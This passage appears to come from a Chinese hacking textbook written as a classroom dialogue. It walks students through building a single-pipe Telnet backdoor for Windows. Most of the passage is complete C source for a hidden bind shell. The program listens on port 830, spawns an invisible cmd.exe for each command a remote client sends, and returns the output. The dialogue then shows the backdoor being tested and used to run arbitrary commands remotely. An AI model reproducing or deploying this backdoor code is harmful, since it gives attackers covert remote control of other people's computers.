3.3.2 单管道后门的实现
“有了双管道后门的实现基础,单管道后门的实现就简单了。我们只看不同的地方。”老师在黑板上写出来。“和双管道不同的地方就是:只建一个管道,然后将CMD子进程的输出句柄用管道的写句柄替换,如下:”
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
si.hStdOutput = si.hStdError = hWritePipe1;
“传输用户的命令和结果,先检查管道里有没有输出数据,如有,就将数据读出并发送给客户机;如果没有,就接收远程客户机的命令数据,把命令数据和 cmd /c 合起来,作为参数开启一个新的CMD子进程。代码如下:”
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//管道1有输出,读出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
//否则,接收远程客户机的命令
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
strcpy(cmdLine, "cmd.exe /c"); //cd\ & dir
strncat(cmdLine, Buff, lBytesRead);
//以命令为参数,启动CMD执行
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
}
“注意,这里的 cmd /c 意思是命令执行完毕后,退出DOS窗口程序。”老师提醒道,“测试时我们将会深刻理解它的意思。”
“我们把程序连起来,接收远程命令数据→开进程执行→读出并传回,形成不断的循环,最后再加入错误处理代码,就是一个单管道的Telnet后门了。”
#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib,"Ws2_32")
int main()
{
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//建立socket
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//监听本机830端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求830端口,接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
SECURITY_ATTRIBUTES pipeattr1;
HANDLE hReadPipe1,hWritePipe1;
//建立匿名管道1
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
//si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
PROCESS_INFORMATION ProcessInformation;
char cmdLine[200];
unsigned long lBytesRead;
/*
以命令为参数运行cmd.exe
(远程主机→传送命令-→以命令为参数建立cmd.exe子进程运行
(远程主机)←输入→管道1输出→管道1输入→输出(cmd.exe子进程)
*/
while(1)
{
//检查管道1,即cmd进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//管道1有输出,读出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
//否则,接收远程客户机的命令
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
strcpy(cmdLine, "cmd.exe /c"); //cd\ & dir
strncat(cmdLine, Buff, lBytesRead);
//以命令为参数,合成后启动CMD执行
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
}
}
return 0;
}
“哦,测试一下!”大家都想看效果。
“好的,我们测试一下,定义监听的端口是830,执行后再在另一台机器上 Telnet IP 830 ,这样就可执行任意命令了,如图3-21。”
“哦,好呢!”大家忙着敲入几个命令,然后有人说道:“啥提示符都没有……”
“哎哟,没提示符是小事,怎么执行 cd/ 命令没有效果呢?”古风说,“用 dir 命令始终是在这个目录下。”
大家一实践,都发现了。“是啊!好奇怪啊!”
宇强说:“我试试双管道的程序。”操作一番后,宇强说,“双管道是正常的啊!”
“哦?那这是怎么回事啊?”大家都望着老师。
“呵呵!我说过实践的时候大家就会发现问题……”
“啊?莫非是那个 cmd /c 参数的问题?” 宇强想了起来。
“对!”老师说道,“我们输入 cmd /? 后,就会出现图3-22所示的帮助。”
“哇!cmd命令有这么多参数和作用啊?”
“是的,所以像函数和程序具体的用法,我们在使用时查帮助和手册就可以了。我们人类的大脑可不是用来记这个的。大家看看帮助里面是怎么解释的吧!”
“ cmd /c ,执行字符串指定的命令然后中断。”大家念道。
宇强一下叫了起来:“哦!我明白了!”
“什么?快说,快说!”其他人催促道。
“大家想想啊,‘/c’是执行完命令后就中断,我们执行 cd/ 命令后,子进程就没了。下一次的 dir 命令是新一个CMD进程执行的,那当然又是默认目录了!”
“对啊!”其他人一下明白了,“一个子进程只执行一次命令,这就是单管道的特点啊!”
“那我们想执行 cd/ 命令后再执行 dir 怎么办呢?”小倩也问道,“没有办法了吗?”
老师说:“也有办法的。在DOS下,‘&’可以把几个命令合起来。所以我们可以这样输入命令: cd/ & dir 。这样,CMD就会先执行 cd/ 命令,然后执行 dir 命令,最后再退出。”
“试一下。”大家边说边试。“啪”!显示出了F盘下的文件。
“哦!果然成功了!”
“太好了!”大家都情不自禁的鼓起掌来。